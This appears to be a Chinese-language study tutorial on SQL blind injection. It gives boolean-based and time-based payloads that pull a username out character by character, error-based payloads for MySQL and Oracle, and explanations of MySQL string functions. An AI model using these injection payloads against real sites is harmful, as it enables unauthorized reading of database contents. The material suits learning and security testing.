如果数据库运行返回结果时只反馈对错不会返回数据库当中的信息
此时可以采用逻辑判断是否正确的盲注来获取信息

盲注是不能通过直接显示的途径来获取数据库数据的方法
1.布尔盲注
2.时间盲注
3.报错型盲注

布尔盲注
某些查询是不需要返回结果的,金判断查询语句是否正确执行,所以其返回可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false.

SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;
    注入语句
    name=-1' and (select mid(u_name,1,1) from member where userid=1)='a'
    name=-1' and (select mid(u_name,2,1) from member where userid=1)='d'
    name=-1' and (select mid(u_name,3,1) from member where userid=1)='m'
    name=-1' and (select mid(u_name,4,1) from member where userid=1)='i’
    name=-1' and (select mid(u_name,5,1) from member where userid=1)='n'

时间盲注
布尔盲注的关键字符带不进去,这时候可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false
查询语句

 SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;

注入语句

    name=-1' and (select mid(u_name,1,1) from member where userid=1)='a' and (select sleep(3))
    name=-1' and (select mid(u_name,2,1) from member where userid=1)='d' and (select sleep(3))
    name=-1' and (select mid(u_name,3,1) from member where userid=1)='m' and (select sleep(3))
    name=-1' and (select mid(u_name,4,1) from member where userid=1)='i' and (select sleep(3))
    name=-1' and (select mid(u_name,5,1) from member where userid=1)='n' and (select sleep(3)

常见报错注入函数
left(a,b)从左侧截取 a 的前 b 位:left(database(),1)>'s' substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度。 ascii() 将某个字符转换为 ascii 值:ascii(substr(user),1,1))=101# mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位:

floor(Mysql): and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); 

Extractvalue(Mysql): and extractvalue(1, concat(0x5c, (select table_name from information_sc hema.tables limit 1))); 

Updatexml(Mysql) :and 1=(updatexml(1,concat(0x3a,(select user())),1)) EXP: Exp(~(select * from (select user())a)) 

UTL_INADDR.get_host_address(Oracle): and 1=utl_inaddr.get_host_address((select banner() from sys.v_$version where rownum=1)) 

left(a,b)函数
LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。 LEFT(str,length);如果str或length参数为NULL,则返回NULL值。
str是要提取子字符串的字符串
length是一个正整数,指定将从左边返回的字符数
length为0或为负,则LEFT返回一个空字符串 length大于str字符串的长度,则LEFT返回整个str字符串
返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。
在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:length: 一个汉 字是算三个字符,一个数字或字母算一个字符。char_length: 不管汉字还是数字或者是字母都算是一个字 符。
这意味着,对于包含五个两字节字符的字符串,LENGTH() 返回10, 而CHAR_LENGTH() 返回5
SBUSTR(str,pos); 就是从pos开始的位置,一直截取到最后。
SUBSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。

cast()和convert()函数
MySQL 的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。
ifnull()函数
IFNULL(A,B)意义是当字段A是NULL时取B,不是NULL时取A的值。

SQL盲注学习的更多相关文章

  1. SQL盲注学习-布尔型

    本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...

  2. SQL盲注学习-时间型

    本次对时间型盲注进行学习,还是的使用sqli-labs环境. 首先看一下时间型盲注需要用到的: 1.if()函数   if(a,b,c) 如果a为真则执行b,否则执行c.如图,由于1=1为真所以执行第 ...

  3. Kali学习笔记43:SQL盲注

    前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...

  4. SQL盲注攻击的简单介绍

    1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输 ...

  5. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  6. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  7. (转)SQL盲注攻击的简单介绍

    转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介     1.1 普通SQL注入技术概述     目前没有对SQL ...

  8. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  9. WEB安全实战(一)SQL盲注

    前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...

随机推荐

  1. python中的unique()

    a = np.unique(A) 对于一维数组或者列表,unique函数去除其中重复的元素,并按元素由大到小返回一个新的无元素重复的元组或者列表 import numpy as np A = [1, ...

  2. Oracle角色,权限,表空间基础语句

    控制台: -sqlplus         -----连接数据库 -conn sys/123456@orcl as sysdba        -----登录sys -create tablespac ...

  3. JDBC Request

    1.下载jdbc驱动,放至jmeter安装目录的lib目录和lib\ext目录下 PS:自己操作的时候,由于JDBC Connection Configuration中驱动名称写错,前面多了一个空格, ...

  4. 用vector与bitset分别创建1亿以内的素数表,比较快慢

    vector容器: 代码如下: #include<iostream>#include<vector>#include<ctime>using namespace s ...

  5. SecureCRT通过SSH2协议远程登录Ubuntu 18.04的过程总结

    reference: https://blog.csdn.net/ghostar03/article/details/47441715 https://blog.csdn.net/u011186256 ...

  6. HashMap 的put方法

    final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] ta ...

  7. 实现简单的ssh功能

    客户端代码: # -*- coding=utf-8 -*- __Author__ = "Dennis" import socket client = socket.socket() ...

  8. Unity Canvas vs Panel

    Unity guys specifically gave a performance talk about UI Canvases on some of the past Unite(s). You ...

  9. linux服务器升级nginx

    1.简介 有时候nginx发布了新BUG或者添加了新的功能时,想要更新的时候服务又不能中断,这时候就要用到nginx的平滑升级了. 该脚本同样适用于添加新扩展,添加新扩展的时候只需要把更新的版本修改为 ...

  10. Redis高可用方案----Redis主从+Sentinel+Haproxy

    安装环境 这里使用三台服务器,每台服务器上开启一个redis-server和redis-sentinel服务,redis-server端口为6379,redis-sentinel的端口为26379. ...